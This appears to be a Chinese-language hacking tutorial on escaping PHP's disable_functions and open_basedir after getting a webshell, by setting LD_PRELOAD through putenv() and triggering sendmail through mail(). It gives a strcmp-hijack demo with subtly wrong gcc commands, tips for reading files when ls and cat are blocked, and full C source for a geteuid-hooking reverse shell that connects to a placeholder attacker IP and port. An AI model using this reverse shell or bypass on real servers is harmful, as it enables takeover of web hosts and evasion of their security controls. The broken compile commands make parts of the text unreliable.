bypass open_basedir & disable_functions

如何绕过open_basedir是永恒的话题.

在getshell之后,查看phpinfo的时候会发现禁用了许多执行系统命令的函数.

一般有如下(严环境的php的disable_function):

dl
exec
system
passthru
popen
proc_open
pcntl_exec
shell_exec

如果漏掉其中的某些函数,可以直接利用漏掉的函数绕过.如果全部都被过滤了,只能另外寻找方法.

其中有两个重要的函数putenv和mail函数,可以通过设置LD_PRELOAD来执行自己的代码.

putenv():配置系统环境变量.

void putenv(string setting).

eg:

<?php putenv("LD_PRELOAD=/var/www/hack.so");?> //LD-PRELOAD后面会讲解.

main():允许从脚本中直接发送电子邮件.

mail(to,subject,message,headers,parameters)

LD_PRELOAD:在UNIX的动态链接库中,LD_PRELOAD作为一个环境变量,它有一个有趣的功能,它可以影响程序运行是的链接,它允许你在程序运行前优先加载的动态链接库.

当这三个东西碰在了一起,就可以搞出一些黑套路.

思路是用putenv将LD_PRELOAD加载一个so文件(这个so文件可以是反弹shell的文件)当做环境变量,然后由于php的mail()的执行过程默认调用系统程序/usr/sbin/sendmail,而这个程序中会涉及到系统的其它函数,我们就可以在so文件中将调用的函数增加一些你想要的功能,就可以实现黑套路了.

查看程度调用的函数.

eg: passwd.c

#include <stdio.h>
#include <string.h>
int main(int argc, char **argv){
char passwd[] = "password";
if (argc < 2) {
        printf("usage: %s <password>/n", argv[0]);
        return;
}
if (!strcmp(passwd, argv[1])) {
        printf("Correct Password!/n");
        return;
}
printf("Invalid Password!/n");
}

一个简单的程序,判断传入的字符串是否等于"password".strcmp函数就是外部调用的. 重写一个strcmp()函数.

#include <stdio.h>
#include <string.h>
int strcmp(const char *s1, const char *s2){
    printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);
    return 0;
}

将passwd编译为一个动态共享库.

$ gcc -o verifypasswd.c verifypasswd    
$ gcc -shared verifypasswd -o hack.so
$ export LD_PRELOAD="./hack.so" //设置它比调用它的程序优先运行.

结果:

$ ./passwd  abcd  
$ Correct Password!

任意输入都能正确.

注:如果在反弹回的shell中ls,cat命令都禁用了.1.找到一些被遗漏的冷门命令.tac(将文件从最后一行倒序显示内容,并将内容输出.)

2.利用无法禁止的基本命令完成列目录和读文件.eg:echo * ,sh - v…

像mail这类与系统进行交互的函数都可以这样利用.

反弹shell式:(不一定成功…)

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
#include <dirent.h>
char shell[]="/bin/sh";
int sock;   

void pwn() {
    setbuf(stdout,NULL);
    struct sockaddr_in server;
    if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        printf("Couldn't make socket!\n"); exit(-1);
    }   

    server.sin_family = AF_INET;
    server.sin_port = htons(atoi("端口"));
    server.sin_addr.s_addr = inet_addr("反弹IP");

    if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
        printf("Could not connect to remote shell!\n");
        exit(-1);
    }

    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);

    execl(shell,"/bin/sh",(char *)0);
    close(sock);
    return 1;
}   

int geteuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    int pid = fork();
    if (pid < 0) {
        pwn();
    }
    else if (pid == 0 ) {
        setsid();
        int pid2 = fork();
        if (pid2 < 0) {
            pwn();
        }
        else if (pid2 > 0 ) {
            //Padre
        }
        else {
            close(0);
            close(1);
            close(2);
            umask(0);
            pwn();
        }
    }
}
Licensed under CC BY-NC-SA 4.0